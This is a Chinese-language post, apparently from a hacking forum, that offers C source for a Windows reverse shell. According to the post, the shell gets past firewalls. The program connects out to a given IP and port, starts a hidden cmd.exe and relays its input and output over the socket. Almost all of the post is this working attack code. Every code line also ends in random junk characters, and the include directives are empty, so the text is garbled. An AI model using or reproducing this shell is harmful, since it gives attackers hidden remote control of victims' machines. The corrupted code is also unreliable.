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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y-fDYMm  
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/* ============================== p/WE[8U  
Rebound port in Windows NT N*NGC!p`N  
By wind,2006/7 yZyB.wT  
===============================*/ oH>G3n|U^  
#include _p^&]eQ+k#  
#include 5`QN<4?%  
dc=~EG-_rM  
#pragma comment(lib,"wsock32.lib") >tQ$V<YB  
U6K!FOND  
void OutputShell(); h( MNH6 B1  
SOCKET sClient; (D~NW*,9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <Dq7^,}#  
{wwkbc*  
void main(int argc,char **argv) 9>7w1G#  
{ t}x^*I$*  
WSADATA stWsaData; dR@XwEpP  
int nRet; bb}$7v`G  
SOCKADDR_IN stSaiClient,stSaiServer; 7:$zSj# y  
>'g>CD!  
if(argc != 3)  <R.Ipyt.  
{ qtYVX:M@,  
printf("Useage:\n\rRebound DestIP DestPort\n"); h'|J$   
return; t=BXuFiu  
} jx[g;7~X  
{O"N2W  
WSAStartup(MAKEWORD(2,2),&stWsaData); oF {u  
-(1GmU5v(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g), t  
PGNH<E)  
stSaiClient.sin_family = AF_INET; |:)ARH6l#  
stSaiClient.sin_port = htons(0); .0b4"0~T6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ? e<D +  
8;GuJP\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MG(qQ#;j/  
{ j~C-T%kYa  
printf("Bind Socket Failed!\n"); Zy&?.d[z  
return; 8L _]_  
} M%"{OHj!o  
ipH'}~=ID  
stSaiServer.sin_family = AF_INET; K!jMW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DC+l3N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LnlDCbF;!  
1Q6~O2a  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ||^+(  
{ ka?EXF:  
printf("Connect Error!"); KbM1b  
return; o|bm=&f  
} FQqk+P!  
OutputShell(); /j$`Cq3I  
} 'd |*n#Dqc  
;JV(!8[  
void OutputShell() 3\E G  
{ >))K%\p   
char szBuff[1024]; 6#up BF:  
SECURITY_ATTRIBUTES stSecurityAttributes; L7OFZ|gUz  
OSVERSIONINFO stOsversionInfo; kS1?%E,)q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rJw Ws  
STARTUPINFO stStartupInfo; U])$#/ v  
char *szShell; 1T/ 72+R0  
PROCESS_INFORMATION stProcessInformation; r"bV{v  
unsigned long lBytesRead; 4ztU) 1  
kH">(f  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -&QTy  
#CTeZ/g  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9?.  
stSecurityAttributes.lpSecurityDescriptor = 0; t~kh?u].j  
stSecurityAttributes.bInheritHandle = TRUE; 'H8;(Rw  
}zy h!  
LyNLz m5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7x//4G   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k r ga!,I  
bD4aSubN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J e.%-7f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o%)38T*n3  
stStartupInfo.wShowWindow = SW_HIDE; -a`P W  
stStartupInfo.hStdInput = hReadPipe; &[qJ=HMm I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tr@)zM GB  
wHE1Jqpo  
GetVersionEx(&stOsversionInfo); j:P(,M[  
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switch(stOsversionInfo.dwPlatformId) #iVr @|,  
{ x't@Mc  
case 1: ?AYb@&%  
szShell = "command.com"; B'8T+qvA  
break; 91\]Dg  
default: Bhg,P.7  
szShell = "cmd.exe"; kX "*kD  
break; ?G<.W[3  
} 49-wFF  
YlJ_$Q[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ngw/H)<c  
~U+W4%f8  
send(sClient,szMsg,77,0); RhD   
while(1) z#Db~  
{ P&5kO;ia  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yx':~  
if(lBytesRead) nNpXkI:  
{ PsO>&Te2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3e ?J#;  
send(sClient,szBuff,lBytesRead,0); g66x;2Q  
} 5#B M  
else Zr|z!S?aSC  
{ W,bu=2K6  
lBytesRead=recv(sClient,szBuff,1024,0); bTc^ huP  
if(lBytesRead<=0) break; MwTouEGGgA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $VnPs!a  
} qc"PTv0q  
} wuKr 9W9Xa  
3S{3AmKj?  
return; bBgyLyg  
}
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